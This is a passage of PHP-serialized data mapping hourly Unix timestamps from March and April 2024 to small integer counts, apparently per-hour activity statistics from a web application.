:0;i:3;}i:1710979200;a:1:{i:0;i:2;}i:1710982800;a:1:{i:0;i:4;}i:1710986400;a:1:{i:0;i:2;}i:1710990000;a:1:{i:0;i:3;}i:1710993600;a:1:{i:0;i:13;}i:1710997200;a:1:{i:0;i:6;}i:1711000800;a:1:{i:0;i:4;}i:1711004400;a:1:{i:0;i:7;}i:1711008000;a:1:{i:0;i:8;}i:1711011600;a:1:{i:0;i:6;}i:1711015200;a:1:{i:0;i:1;}i:1711018800;a:1:{i:0;i:12;}i:1711022400;a:1:{i:0;i:2;}i:1711026000;a:1:{i:0;i:4;}i:1711029600;a:1:{i:0;i:4;}i:1711033200;a:1:{i:0;i:2;}i:1711036800;a:1:{i:0;i:3;}i:1711040400;a:1:{i:0;i:1;}i:1711044000;a:1:{i:0;i:2;}i:1711047600;a:1:{i:0;i:14;}i:1711051200;a:1:{i:0;i:5;}i:1711054800;a:1:{i:0;i:4;}i:1711058400;a:1:{i:0;i:7;}i:1711062000;a:1:{i:0;i:6;}i:1711065600;a:1:{i:0;i:5;}i:1711069200;a:1:{i:0;i:4;}i:1711072800;a:1:{i:0;i:4;}i:1711076400;a:1:{i:0;i:21;}i:1711080000;a:1:{i:0;i:11;}i:1711083600;a:1:{i:0;i:10;}i:1711087200;a:1:{i:0;i:12;}i:1711090800;a:1:{i:0;i:6;}i:1711094400;a:1:{i:0;i:4;}i:1711098000;a:1:{i:0;i:4;}i:1711101600;a:1:{i:0;i:3;}i:1711105200;a:1:{i:0;i:4;}i:1711108800;a:1:{i:0;i:7;}i:1711112400;a:1:{i:0;i:16;}i:1711116000;a:1:{i:0;i:5;}i:1711119600;a:1:{i:0;i:5;}i:1711123200;a:1:{i:0;i:3;}i:1711126800;a:1:{i:0;i:4;}i:1711130400;a:1:{i:0;i:2;}i:1711134000;a:1:{i:0;i:1;}i:1711137600;a:1:{i:0;i:4;}i:1711141200;a:1:{i:0;i:4;}i:1711144800;a:1:{i:0;i:15;}i:1711148400;a:1:{i:0;i:5;}i:1711152000;a:1:{i:0;i:14;}i:1711155600;a:1:{i:0;i:5;}i:1711159200;a:1:{i:0;i:3;}i:1711162800;a:1:{i:0;i:5;}i:1711166400;a:1:{i:0;i:3;}i:1711170000;a:1:{i:0;i:2;}i:1711173600;a:1:{i:0;i:5;}i:1711177200;a:1:{i:0;i:2;}i:1711180800;a:1:{i:0;i:2;}i:1711184400;a:1:{i:0;i:3;}i:1711188000;a:1:{i:0;i:2;}i:1711191600;a:1:{i:0;i:6;}i:1711195200;a:1:{i:0;i:1;}i:1711198800;a:1:{i:0;i:16;}i:1711202400;a:1:{i:0;i:1;}i:1711209600;a:1:{i:0;i:2;}i:1711216800;a:1:{i:0;i:1;}i:1711220400;a:1:{i:0;i:2;}i:1711227600;a:1:{i:0;i:2;}i:1711231200;a:1:{i:0;i:11;}i:1711234800;a:1:{i:0;i:1;}i:1711238400;a:1:{i:0;i:1;}i:1711242000;a:1:{i:0;i:2;}i:1711245600;a:1:{i:0;i:2;}i:1711252800;a:1:{i:0;i:2;}i:1711260000;a:1:{i:0;i:2;}i:1711263600;a:1:{i:0;i:1;}i:1711267200;a:1:{i:0;i:1;}i:1711270800;a:1:{i:0;i:1;}i:1711278000;a:1:{i:0;i:13;}i:1711285200;a:1:{i:0;i:2;}i:1711292400;a:1:{i:0;i:1;}i:1711296000;a:1:{i:0;i:2;}i:1711299600;a:1:{i:0;i:1;}i:1711303200;a:1:{i:0;i:1;}i:1711310400;a:1:{i:0;i:15;}i:1711317600;a:1:{i:0;i:2;}i:1711324800;a:1:{i:0;i:3;}i:1711328400;a:1:{i:0;i:1;}i:1711332000;a:1:{i:0;i:3;}i:1711335600;a:1:{i:0;i:1;}i:1711339200;a:1:{i:0;i:5;}i:1711342800;a:1:{i:0;i:23;}i:1711346400;a:1:{i:0;i:6;}i:1711350000;a:1:{i:0;i:3;}i:1711353600;a:1:{i:0;i:3;}i:1711357200;a:1:{i:0;i:1;}i:1711360800;a:1:{i:0;i:4;}i:1711364400;a:1:{i:0;i:4;}i:1711371600;a:1:{i:0;i:13;}i:1711375200;a:1:{i:0;i:3;}i:1711378800;a:1:{i:0;i:3;}i:1711382400;a:1:{i:0;i:3;}i:1711386000;a:1:{i:0;i:2;}i:1711389600;a:1:{i:0;i:4;}i:1711393200;a:1:{i:0;i:1;}i:1711396800;a:1:{i:0;i:2;}i:1711400400;a:1:{i:0;i:13;}i:1711404000;a:1:{i:0;i:1;}i:1711407600;a:1:{i:0;i:2;}i:1711411200;a:1:{i:0;i:2;}i:1711414800;a:1:{i:0;i:3;}i:1711418400;a:1:{i:0;i:1;}i:1711422000;a:1:{i:0;i:2;}i:1711425600;a:1:{i:0;i:4;}i:1711429200;a:1:{i:0;i:15;}i:1711432800;a:1:{i:0;i:2;}i:1711440000;a:1:{i:0;i:1;}i:1711443600;a:1:{i:0;i:2;}i:1711447200;a:1:{i:0;i:2;}i:1711450800;a:1:{i:0;i:1;}i:1711454400;a:1:{i:0;i:2;}i:1711461600;a:1:{i:0;i:2;}i:1711465200;a:1:{i:0;i:10;}i:1711468800;a:1:{i:0;i:2;}i:1711476000;a:1:{i:0;i:2;}i:1711483200;a:1:{i:0;i:1;}i:1711486800;a:1:{i:0;i:1;}i:1711490400;a:1:{i:0;i:1;}i:1711494000;a:1:{i:0;i:9;}i:1711497600;a:1:{i:0;i:1;}i:1711501200;a:1:{i:0;i:1;}i:1711504800;a:1:{i:0;i:1;}i:1711508400;a:1:{i:0;i:1;}i:1711515600;a:1:{i:0;i:359;}i:1711519200;a:1:{i:0;i:13;}i:1711522800;a:1:{i:0;i:10;}i:1711526400;a:1:{i:0;i:6;}i:1711530000;a:1:{i:0;i:20;}i:1711533600;a:1:{i:0;i:3;}i:1711537200;a:1:{i:0;i:3;}i:1711540800;a:1:{i:0;i:2;}i:1711544400;a:1:{i:0;i:3;}i:1711548000;a:1:{i:0;i:7;}i:1711551600;a:1:{i:0;i:8;}i:1711555200;a:1:{i:0;i:6;}i:1711558800;a:1:{i:0;i:22;}i:1711562400;a:1:{i:0;i:5;}i:1711566000;a:1:{i:0;i:7;}i:1711569600;a:1:{i:0;i:5;}i:1711573200;a:1:{i:0;i:2;}i:1711576800;a:1:{i:0;i:5;}i:1711580400;a:1:{i:0;i:5;}i:1711584000;a:1:{i:0;i:6;}i:1711587600;a:1:{i:0;i:10;}i:1711591200;a:1:{i:0;i:2;}i:1711594800;a:1:{i:0;i:2;}i:1711598400;a:1:{i:0;i:2;}i:1711602000;a:1:{i:0;i:4;}i:1711609200;a:1:{i:0;i:1;}i:1711612800;a:1:{i:0;i:3;}i:1711616400;a:1:{i:0;i:2;}i:1711620000;a:1:{i:0;i:16;}i:1711623600;a:1:{i:0;i:2;}i:1711627200;a:1:{i:0;i:3;}i:1711630800;a:1:{i:0;i:7;}i:1711634400;a:1:{i:0;i:4;}i:1711638000;a:1:{i:0;i:4;}i:1711641600;a:1:{i:0;i:3;}i:1711645200;a:1:{i:0;i:1;}i:1711648800;a:1:{i:0;i:16;}i:1711656000;a:1:{i:0;i:2;}i:1711659600;a:1:{i:0;i:2;}i:1711666800;a:1:{i:0;i:2;}i:1711670400;a:1:{i:0;i:15;}i:1711674000;a:1:{i:0;i:5;}i:1711677600;a:1:{i:0;i:6;}i:1711684800;a:1:{i:0;i:6;}i:1711688400;a:1:{i:0;i:7;}i:1711692000;a:1:{i:0;i:8;}i:1711695600;a:1:{i:0;i:4;}i:1711699200;a:1:{i:0;i:3;}i:1711702800;a:1:{i:0;i:18;}i:1711706400;a:1:{i:0;i:5;}i:1711710000;a:1:{i:0;i:6;}i:1711713600;a:1:{i:0;i:3;}i:1711717200;a:1:{i:0;i:4;}i:1711720800;a:1:{i:0;i:2;}i:1711724400;a:1:{i:0;i:22;}i:1711728000;a:1:{i:0;i:3;}i:1711731600;a:1:{i:0;i:3;}i:1711735200;a:1:{i:0;i:2;}i:1711738800;a:1:{i:0;i:3;}i:1711742400;a:1:{i:0;i:1;}i:1711746000;a:1:{i:0;i:2;}i:1711749600;a:1:{i:0;i:3;}i:1711753200;a:1:{i:0;i:17;}i:1711756800;a:1:{i:0;i:2;}i:1711760400;a:1:{i:0;i:3;}i:1711764000;a:1:{i:0;i:2;}i:1711767600;a:1:{i:0;i:4;}i:1711771200;a:1:{i:0;i:10;}i:1711774800;a:1:{i:0;i:1;}i:1711778400;a:1:{i:0;i:6;}i:1711782000;a:1:{i:0;i:2;}i:1711785600;a:1:{i:0;i:1;}i:1711789200;a:1:{i:0;i:1;}i:1711792800;a:1:{i:0;i:18;}i:1711796400;a:1:{i:0;i:2;}i:1711800000;a:1:{i:0;i:2;}i:1711803600;a:1:{i:0;i:1;}i:1711807200;a:1:{i:0;i:2;}i:1711810800;a:1:{i:0;i:3;}i:1711814400;a:1:{i:0;i:15;}i:1711818000;a:1:{i:0;i:3;}i:1711821600;a:1:{i:0;i:4;}i:1711825200;a:1:{i:0;i:4;}i:1711828800;a:1:{i:0;i:5;}i:1711832400;a:1:{i:0;i:4;}i:1711836000;a:1:{i:0;i:18;}i:1711839600;a:1:{i:0;i:4;}i:1711843200;a:1:{i:0;i:4;}i:1711846800;a:1:{i:0;i:4;}i:1711850400;a:1:{i:0;i:7;}i:1711854000;a:1:{i:0;i:5;}i:1711857600;a:1:{i:0;i:11;}i:1711861200;a:1:{i:0;i:3;}i:1711864800;a:1:{i:0;i:3;}i:1711868400;a:1:{i:0;i:2;}i:1711872000;a:1:{i:0;i:3;}i:1711875600;a:1:{i:0;i:3;}i:1711879200;a:1:{i:0;i:17;}i:1711882800;a:1:{i:0;i:1;}i:1711886400;a:1:{i:0;i:2;}i:1711890000;a:1:{i:0;i:2;}i:1711893600;a:1:{i:0;i:2;}i:1711897200;a:1:{i:0;i:2;}i:1711900800;a:1:{i:0;i:13;}i:1711904400;a:1:{i:0;i:2;}i:1711908000;a:1:{i:0;i:3;}i:1711911600;a:1:{i:0;i:2;}i:1711915200;a:1:{i:0;i:2;}i:1711918800;a:1:{i:0;i:2;}i:1711922400;a:1:{i:0;i:15;}i:1711926000;a:1:{i:0;i:4;}i:1711929600;a:1:{i:0;i:3;}i:1711933200;a:1:{i:0;i:2;}i:1711936800;a:1:{i:0;i:4;}i:1711940400;a:1:{i:0;i:14;}i:1711944000;a:1:{i:0;i:5;}i:1711947600;a:1:{i:0;i:7;}i:1711951200;a:1:{i:0;i:10;}i:1711954800;a:1:{i:0;i:4;}i:1711958400;a:1:{i:0;i:11;}i:1711962000;a:1:{i:0;i:19;}i:1711965600;a:1:{i:0;i:2;}i:1711969200;a:1:{i:0;i:2;}i:1711972800;a:1:{i:0;i:1;}i:1711976400;a:1:{i:0;i:5;}i:1711980000;a:1:{i:0;i:2;}i:1711983600;a:1:{i:0;i:14;}i:1711987200;a:1:{i:0;i:3;}i:1711990800;a:1:{i:0;i:2;}i:1711994400;a:1:{i:0;i:5;}i:1711998000;a:1:{i:0;i:6;}i:1712001600;a:1:{i:0;i:4;}i:1712005200;a:1:{i:0;i:17;}i:1712008800;a:1:{i:0;i:3;}i:1712012400;a:1:{i:0;i:6;}i:1712016000;a:1:{i:0;i:4;}i:1712019600;a:1:{i:0;i:1;}i:1712023200;a:1:{i:0;i:1;}i:1712026800;a:1:{i:0;i:3;}i:1712030400;a:1:{i:0;i:1;}i:1712034000;a:1:{i:0;i:14;}i:1712037600;a:1:{i:0;i:5;}i:1712044800;a:1:{i:0;i:2;}i:1712048400;a:1:{i:0;i:10;}i:1712052000;a:1:{i:0;i:1;}i:1712055600;a:1:{i:0;i:3;}i:1712062800;a:1:{i:0;i:1;}i:1712066400;a:1:{i:1;i:1;}i:1712070000;a:1:{i:0;i:12;}i:1712084400;a:1:{i:0;i:3;}i:1712088000;a:1:{i:0;i:3;}i:1712091600;a:1:{i:0;i:10;}i:1712106000;a:1:{i:0;i:2;}i:1712109600;a:1:{i:0;i:3;}i:1712113200;a:1:{i:0;i:15;}i:1712116800;a:1:{i:0;i:5;}i:1712120400;a:1:{i:0;i:5;}i:1712124000;a:1:{i:0;i:3;}i:1712127600;a:1:{i:0;i:2;}i:1712131200;a:1:{i:0;i:2;}i:1712134800;a:1:{i:0;i:3;}i:1712138400;a:1:{i:0;i:2;}i:1712142000;a:1:{i:0;i:9;}i:1712149200;a:1:{i:0;i:3;}i:1712152800;a:1:{i:0;i:1;}i:1712156400;a:1:{i:0;i:3;}i:1712160000;a:1:{i:0;i:1;}i:1712163600;a:1:{i:0;i:15;}i:1712181600;a:1:{i:0;i:1;}i:1712185200;a:1:{i:0;i:2;}i:1712188800;a:1:{i:0;i:2;}i:1712192400;a:1:{i:0;i:4;}i:1712196000;a:1:{i:0;i:16;}i:1712203200;a:1:{i:0;i:1;}i:1712206800;a:1:{i:0;i:4;}i:1712210400;a:1:{i:0;i:2;}i:1712214000;a:1:{i:0;i:3;}i:1712217600;a:1:{i:0;i:2;}i:1712221200;a:1:{i:0;i:7;}i:1712224800;a:1:{i:0;i:3;}i:1712228400;a:1:{i:0;i:17;}i:1712232000;a:1:{i:0;i:1;}i:1712235600;a:1:{i:0;i:7;}i:1712239200;a:1:{i:0;i:1;}i:1712242800;a:1:{i:0;i:1;}i:1712246400;a:1:{i:0;i:1;}i:1712250000;a:1:{i:0;i:1;}i:1712253600;a:1:{i:0;i:4;}i:1712257200;a:1:{i:0;i:1;}i:1712260800;a:1:{i:0;i:12;}i:1712268000;a:1:{i:0;i:3;}i:1712275200;a:1:{i:0;i:2;}i:1712282400;a:1:{i:0;i:4;}i:1712286000;a:1:{i:0;i:3;}i:1712289600;a:1:{i:0;i:20;}i:1712293200;a:1:{i:0;i:8;}i:1712296800;a:1:{i:0;i:9;}i:1712300400;a:1:{i:0;i:11;}i:1712304000;a:1:{i:0;i:3;}i:1712307600;a:1:{i:0;i:2;}i:1712311200;a:1:{i:0;i:6;}i:1712314800;a:1:{i:0;i:3;}i:1712318400;a:1:{i:0;i:4;}i:1712322000;a:1:{i:0;i:4;}i:1712325600;a:1:{i:0;i:3;}i:1712329200;a:1:{i:0;i:2;}i:1712332800;a:1:{i:0;i:4;}i:1712336400;a:1:{i:0;i:3;}i:1712340000;a:1:{i:0;i:6;}i:1712343600;a:1:{i:0;i:6;}i:1712347200;a:1:{i:0;i:3;}i:1712350800;a:1:{i:0;i:4;}i:1712354400;a:1:{i:0;i:4;}i:1712358000;a:1:{i:0;i:10;}i:1712361600;a:1:{i:0;i:3;}i:1712365200;a:1:{i:0;i:1;}i:1712368800;a:1:{i:0;i:8;}i:1712372400;a:1:{i:0;i:5;}i:1712376000;a:1:{i:0;i:4;}i:1712379600;a:1:{i:0;i:3;}i:1712383200;a:1:{i:0;i:2;}i:1712386800;a:1:{i:0;i:6;}i:1712390400;a:1:{i:0;i:7;}i:1712394000;a:1:{i:0;i:1;}i:1712397600;a:1:{i:0;i:4;}i:1712401200;a:1:{i:0;i:8;}i:1712404800;a:1:{i:0;i:1;}i:1712412000;a:1:{i:0;i:3;}i:1712415600;a:1:{i:0;i:5;}i:1712430000;a:1:{i:0;i:3;}i:1712433600;a:1:{i:0;i:3;}i:1712440800;a:1:{i:0;i:2;}i:1712444400;a:1:{i:0;i:3;}i:1712451600;a:1:{i:0;i:2;}i:1712455200;a:1:{i:0;i:7;}i:1712458800;a:1:{i:0;i:5;}i:1712462400;a:1:{i:0;i:5;}i:1712466000;a:1:{i:0;i:7;}i:1712469600;a:1:{i:0;i:6;}i:1712473200;a:1:{i:0;i:8;}i:1712476800;a:1:{i:0;i:8;}i:1712480400;a:1:{i:0;i:4;}i:1712484000;a:1:{i:0;i:3;}i:1712487600;a:1:{i:0;i:4;}i:1712491200;a:1:{i:0;i:1;}i:1712502000;a:1:{i:0;i:7;}i:1712516400;a:1:{i:0;i:3;}i:1712523600;a:1:{i:0;i:3;}i:1712530800;a:1:{i:0;i:3;}i:1712545200;a:1:{i:0;i:7;}i:1712548800;a:1:{i:0;i:3;}i:1712552400;a:1:{i:0;i:1;}i:1712556000;a:1:{i:0;i:3;}i:1712559600;a:1:{i:0;i:5;}i:1712563200;a:1:{i:0;i:3;}i:1712566800;a:1:{i:0;i:4;}i:1712570400;a:1:{i:0;i:4;}i:1712574000;a:1:{i:0;i:4;}i:1712577600;a:1:{i:0;i:3;}i:1712581200;a:1:{i:0;i:6;}i:1712584800;a:1:{i:0;i:1;}i:1712588400;a:1:{i:0;i:8;}i:1712592000;a:1:{i:0;i:2;}i:1712595600;a:1:{i:0;i:3;}i:1712599200;a:1:{i:0;i:5;}i:1712602800;a:1:{i:0;i:5;}i:1712606400;a:1:{i:0;i:3;}i:1712610000;a:1:{i:0;i:1;}i:1712617200;a:1:{i:0;i:2;}i:1712620800;a:1:{i:0;i:4;}i:1712624400;a:1:{i:0;i:2;}i:1712628000;a:1:{i:0;i:2;}i:1712934000;a:1:{i:1;i:1;}i:1712937600;a:1:{i:0;i:3;}i:1712941200;a:1:{i:0;i:3;}i:1712973600;a:1:{i:0;i:3;}i:1712977200;a:1:{i:0;i:3;}i:1712980800;a:1:{i:0;i:2;}i:1712984400;a:1:{i:0;i:3;}i:1712988000;a:1:{i:0;i:4;}i:1712991600;a:1:{i:0;i:4;}i:1712995200;a:1:{i:0;i:3;}i:1712998800;a:1:{i:0;i:2;}i:1713002400;a:1:{i:0;i:13;}i:1713006000;a:1:{i:0;i:18;}i:1713009600;a:1:{i:0;i:15;}i:1713013200;a:1:{i:0;i:15;}i:1713016800;a:1:{i:0;i:14;}i:1713020400;a:1:{i:0;i:16;}i:1713024000;a:1:{i:0;i:11;}i:1713027600;a:1:{i:0;i:14;}i:1713031200;a:1:{i:0;i:25;}i:1713034800;a:1:{i:0;i:30;}i:1713038400;a:1:{i:0;i:28;}i:1713042000;a:1:{i:0;i:24;}i:1713045600;a:1:{i:0;i:29;}i:1713049200;a:1:{i:0;i:21;}i:1713052800;a:1:{i:0;i:22;}i:1713056400;a:1:{i:0;i:23;}i:1713060000;a:1:{i:0;i:21;}i:1713063600;a:1:{i:0;i:16;}i:1713070800;a:1:{i:0;i:3;}i:1713074400;a:1:{i:0;i:3;}i:1713078000;a:1:{i:0;i:4;}i:1713081600;a:1:{i:0;i:3;}i:1713085200;a:1:{i:0;i:9;}i:1713088800;a:1:{i:0;i:14;}i:1713092400;a:1:{i:0;i:5;}i:1713096000;a:1:{i:0;i:9;}i:1713099600;a:1:{i:0;i:2;}i:1713103200;a:1:{i:0;i:1;}i:1713106800;a:1:{i:0;i:3;}i:1713110400;a:1:{i:0;i:1;}i:1713114000;a:1:{i:0;i:1;}i:1713153600;a:1:{i:0;i:2;}i:1713157200;a:1:{i:0;i:4;}i:1713160800;a:1:{i:0;i:6;}i:1713164400;a:1:{i:0;i:10;}i:1713168000;a:1:{i:0;i:13;}i:1713171600;a:1:{i:0;i:18;}i:1713175200;a:1:{i:0;i:19;}i:1713178800;a:1:{i:0;i:10;}i:1713182400;a:1:{i:0;i:5;}i:1713186000;a:1:{i:0;i:2;}i:1713189600;a:1:{i:0;i:5;}i:1713193200;a:1:{i:0;i:3;}i:1713196800;a:1:{i:0;i:3;}i:1713200400;a:1:{i:0;i:4;}i:1713204000;a:1:{i:0;i:4;}i:1713207600;a:1:{i:0;i:2;}i:1713211200;a:1:{i:0;i:5;}i:1713214800;a:1:{i:0;i:11;}i:1713218400;a:1:{i:0;i:12;}i:1713222000;a:1:{i:0;i:11;}i:1713225600;a:1:{i:0;i:11;}i:1713229200;a:1:{i:0;i:9;}i:1713232800;a:1:{i:0;i:11;}i:1713236400;a:1:{i:0;i:15;}i:1713240000;a:1:{i:0;i:9;}i:1713243600;a:1:{i:0;i:14;}i:1713247200;a:1:{i:0;i:15;}i:1713250800;a:1:{i:0;i:17;}i:1713254400;a:1:{i:0;i:13;}i:1713258000;a:1:{i:0;i:11;}i:1713261600;a:1:{i:0;i:12;}i:1713265200;a:1:{i:0;i:8;}i:1713268800;a:1:{i:0;i:13;}i:1713272400;a:1:{i:0;i:11;}i:1713276000;a:1:{i:0;i:6;}i:1713279600;a:1:{i:0;i:8;}i:1713283200;a:1:{i:0;i:1;}i:1713286800;a:1:{i:0;i:2;}i:1713294000;a:1:{i:0;i:1;}i:1713304800;a:1:{i:0;i:12;}i:1713308400;a:1:{i:0;i:3;}i:1713312000;a:1:{i:0;i:3;}i:1713315600;a:1:{i:0;i:9;}i:1713319200;a:1:{i:0;i:1;}i:1713322800;a:1:{i:0;i:2;}i:1713326400;a:1:{i:0;i:4;}i:1713330000;a:1:{i:0;i:7;}i:1713333600;a:1:{i:0;i:14;}i:1713337200;a:1:{i:0;i:19;}i:1713340800;a:1:{i:0;i:19;}i:1713344400;a:1:{i:0;i:19;}i:1713348000;a:1:{i:0;i:18;}i:1713351600;a:1:{i:0;i:17;}i:1713355200;a:1:{i:0;i:16;}i:1713358800;a:1:{i:0;i:15;}i:1713362400;a:1:{i:0;i:10;}i:1713366000;a:1:{i:0;i:8;}i:1713369600;a:1:{i:0;i:7;}i:1713373200;a:1:{i:0;i:5;}i:1713376800;a:1:{i:0;i:6;}i:1713380400;a:1:{i:0;i:5;}i:1713384000;a:1:{i:0;i:4;}i:1713387600;a:1:{i:0;i:9;}i:1713391200;a:1:{i:0;i:3;}i:1713394800;a:1:{i:0;i:4;}i:1713398400;a:1:{i:0;i:3;}i:1713402000;a:1:{i:0;i:6;}i:1713405600;a:1:{i:0;i:14;}i:1713409200;a:1:{i:0;i:23;}i:1713412800;a:1:{i:0;i:33;}i:1713416400;a:1:{i:0;i:34;}i:1713420000;a:1:{i:0;i:33;}i:1713423600;a:1:{i:0;i:33;}i:1713427200;a:1:{i:0;i:24;}i:1713430800;a:1:{i:0;i:25;}i:1713434400;a:1:{i:0;i:25;}i:1713438000;a:1:{i:0;i:16;}i:1713441600;a:1:{i:0;i:13;}i:1713445200;a:1:{i:0;i:11;}i:1713448800;a:1:{i:0;i:13;}i:1713452400;a:1:{i:0;i:16;}i:1713456000;a:1:{i:0;i:8;}i:1713459600;a:1:{i:0;i:11;}i:1713463200;a:1:{i:0;i:17;}i:1713466800;a:1:{i:0;i:13;}i:1713470400;a:1:{i:0;i:17;}i:1713474000;a:1:{i:0;i:14;}i:1713477600;a:1:{i:0;i:11;}i:1713481200;a:1:{i:0;i:14;}i:1713484800;a:1:{i:0;i:12;}i:1713488400;a:1:{i:0;i:11;}i:1713492000;a:1:{i:0;i:10;}i:1713495600;a:1:{i:0;i:7;}i:1713499200;a:1:{i:0;i:15;}i:1713502800;a:1:{i:0;i:21;}i:1713506400;a:1:{i:0;i:17;}i:1713510000;a:1:{i:0;i:15;}i:1713513600;a:1:{i:0;i:12;}i:1713517200;a:1:{i:0;i:14;}i:1713520800;a:1:{i:0;i:15;}i:1713524400;a:1:{i:0;i:12;}i:1713528000;a:1:{i:0;i:4;}i:1713531600;a:1:{i:0;i:12;}i:1713535200;a:1:{i:0;i:13;}i:1713538800;a:1:{i:0;i:14;}i:1713542400;a:1:{i:0;i:2;}i:1713549600;a:1:{i:0;i:3;}i:1713556800;a:1:{i:0;i:6;}i:1713564000;a:1:{i:0;i:1;}i:1713567600;a:1:{i:0;i:3;}i:1713578400;a:1:{i:0;i:3;}i:1713582000;a:1:{i:0;i:3;}i:1713589200;a:1:{i:0;i:9;}i:1713592800;a:1:{i:0;i:6;}i:1713600000;a:1:{i:0;i:3;}i:1713603600;a:1:{i:0;i:5;}i:1713607200;a:1:{i:0;i:9;}i:1713610800;a:1:{i:0;i:14;}i:1713614400;a:1:{i:0;i:11;}i:1713618000;a:1:{i:0;i:13;}i:1713621600;a:1:{i:0;i:11;}i:1713625200;a:1:{i:0;i:11;}i:1713628800;a:1:{i:0;i:12;}i:1713632400;a:1:{i:0;i:14;}i:1713636000;a:1:{i:0;i:8;}i:1713639600;a:1:{i:0;i:9;}i:1713643200;a:1:{i:0;i:18;}i:1713646800;a:1:{i:0;i:15;}i:1713650400;a:1:{i:0;i:15;}i:1713654000;a:1:{i:0;i:20;}i:1713657600;a:1:{i:0;i:16;}i:1713661200;a:1:{i:0;i:12;}i:1713664800;a:1:{i:0;i:14;}i:1713668400;a:1:{i:0;i:9;}i:1713672000;a:1:{i:0;i:13;}i:1713675600;a:1:{i:0;i:13;}i:1713679200;a:1:{i:0;i:4;}i:1713682800;a:1:{i:0;i:5;}i:1713686400;a:1:{i:0;i:10;}i:1713690000;a:1:{i:0;i:14;}i:1713693600;a:1:{i:0;i:8;}i:1713697200;a:1:{i:0;i:9;}i:1713700800;a:1:{i:0;i:16;}i:1713711600;a:1:{i:0;i:1;}i:1713715200;a:1:{i:0;i:3;}i:1713726000;a:1:{i:0;i:1;}i:1713747600;a:1:{i:0;i:4;}i:1713751200;a:1:{i:0;i:5;}i:1713754800;a:1:{i:0;i:11;}i:1713758400;a:1:{i:0;i:14;}i:1713762000;a:1:{i:0;i:34;}i:1713765600;a:1:{i:0;i:31;}i:1713769200;a:1:{i:0;i:29;}i:1713772800;a:1:{i:0;i:29;}i:1713776400;a:1:{i:0;i:21;}i:1713780000;a:1:{i:0;i:21;}i:1713783600;a:1:{i:0;i:21;}i:1713787200;a:1:{i:0;i:12;}i:1713790800;a:1:{i:0;i:8;}i:1713794400;a:1:{i:0;i:2;}i:1713798000;a:1:{i:0;i:7;}i:1713801600;a:1:{i:0;i:3;}i:1713805200;a:1:{i:0;i:4;}i:1713808800;a:1:{i:0;i:5;}i:1713812400;a:1:{i:0;i:3;}i:1713816000;a:1:{i:0;i:3;}i:1713819600;a:1:{i:0;i:5;}i:1713823200;a:1:{i:0;i:3;}i:1713826800;a:1:{i:0;i:3;}i:1713830400;a:1:{i:0;i:6;}i:1713834000;a:1:{i:0;i:2;}i:1713837600;a:1:{i:0;i:9;}i:1713841200;a:1:{i:0;i:12;}i:1713844800;a:1:{i:0;i:10;}i:1713848400;a:1:{i:0;i:12;}i:1713852000;a:1:{i:0;i:21;}i:1713855600;a:1:{i:0;i:19;}i:1713859200;a:1:{i:0;i:26;}i:1713862800;a:1:{i:0;i:28;}i:1713866400;a:1:{i:0;i:28;}i:1713870000;a:1:{i:0;i:22;}i:1713873600;a:1:{i:0;i:15;}i:1713877200;a:1:{i:0;i:8;}i:1713880800;a:1:{i:0;i:13;}i:1713884400;a:1:{i:0;i:10;}i:1713888000;a:1:{i:0;i:11;}i:1713891600;a:1:{i:0;i:9;}i:1713895200;a:1:{i:0;i:12;}i:1713898800;a:1:{i:0;i:12;}i:1713902400;a:1:{i:0;i:12;}i:1713906000;a:1:{i:0;i:12;}i:1713909600;a:1:{i:0;i:10;}i:1713913200;a:1:{i:0;i:11;}i:1713916800;a:1:{i:0;i:10;}i:1713920400;a:1:{i:0;i:10;}i:1713924000;a:1:{i:0;i:10;}i:1713927600;a:1:{i:0;i:12;}i:1713931200;a:1:{i:0;i:9;}i:1713934800;a:1:{i:0;i:10;}i:1713938400;a:1:{i:0;i:10;}i:1713942000;a:1:{i:0;i:1;}i:1713945600;a:1:{i:0;i:1;}i:1713949200;a:1:{i:0;i:1;}i:1713952800;a:1:{i:0;i:1;}i:1713956400;a:1:{i:0;i:6;}i:1713970800;a:1:{i:0;i:1;}i:1713978000;a:1:{i:0;i:1;}i:1713981600;a:1:{i:0;i:2;}i:1713985200;a:1:{i:0;i:1;}i:1713988800;a:1:{i:0;i:3;}i:1713992400;a:1:{i:0;i:1;}i:1713996000;a:1:{i:0;i:1;}i:1713999600;a:1:{i:0;i:1;}i:1714003200;a:1:{i:0;i:3;}i:1714006800;a:1:{i:0;i:2;}i:1714014000;a:1:{i:0;i:1;}i:1714017600;a:1:{i:0;i:1;}i:1714024800;a:1:{i:0;i:1;}i:1714028400;a:1:{i:0;i:1;}i:1714032000;a:1:{i:0;i:2;}i:1714042800;a:1:{i:0;i:7;}i:1714046400;a:1:{i:0;i:2;}i:1714050000;a:1:{i:0;i:6;}i:1714053600;a:1:{i:0;i:3;}i:1714057200;a:1:{i:0;i:6;}i:1714060800;a:1:{i:0;i:13;}i:1714064400;a:1:{i:0;i:9;}i:1714068000;a:1:{i:0;i:1;}i:1714071600;a:1:{i:0;i:1;}i:1714075200;a:1:{i:0;i:1;}i:1714078800;a:1:{i:0;i:1;}i:1714086000;a:1:{i:0;i:1;}i:1714089600;a:1:{i:0;i:1;}i:1714093200;a:1:{i:0;i:1;}i:1714096800;a:1:{i:0;i:7;}i:1714100400;a:1:{i:0;i:1;}i:1714107600;a:1:{i:0;i:17;}i:1714111200;a:1:{i:0;i:22;}i:1714114800;a:1:{i:0;i:22;}i:1714118400;a:1:{i:0;i:21;}i:1714122000;a:1:{i:0;i:15;}i:1714125600;a:1:{i:0;i:17;}i:1714129200;a:1:{i:0;i:17;}i:1714132800;a:1:{i:0;i:17;}i:1714136400;a:1:{i:0;i:12;}i:1714140000;a:1:{i:0;i:28;}i:1714143600;a:1:{i:0;i:15;}i:1714147200;a:1:{i:0;i:25;}i:1714150800;a:1:{i:0;i:8;}i:1714154400;a:1:{i:0;i:21;}i:1714158000;a:1:{i:0;i:11;}i:1714161600;a:1:{i:0;i:17;}i:1714165200;a:1:{i:0;i:11;}i:1714168800;a:1:{i:0;i:19;}i:1714172400;a:1:{i:0;i:11;}i:1714176000;a:1:{i:0;i:6;}i:1714179600;a:1:{i:0;i:25;}i:1714183200;a:1:{i:0;i:7;}i:1714186800;a:1:{i:0;i:24;}i:1714190400;a:1:{i:0;i:9;}i:1714194000;a:1:{i:0;i:21;}i:1714197600;a:1:{i:0;i:11;}i:1714201200;a:1:{i:0;i:7;}i:1714204800;a:1:{i:0;i:22;}i:1714208400;a:1:{i:0;i:7;}i:1714212000;a:1:{i:0;i:20;}i:1714215600;a:1:{i:0;i:11;}i:1714219200;a:1:{i:0;i:1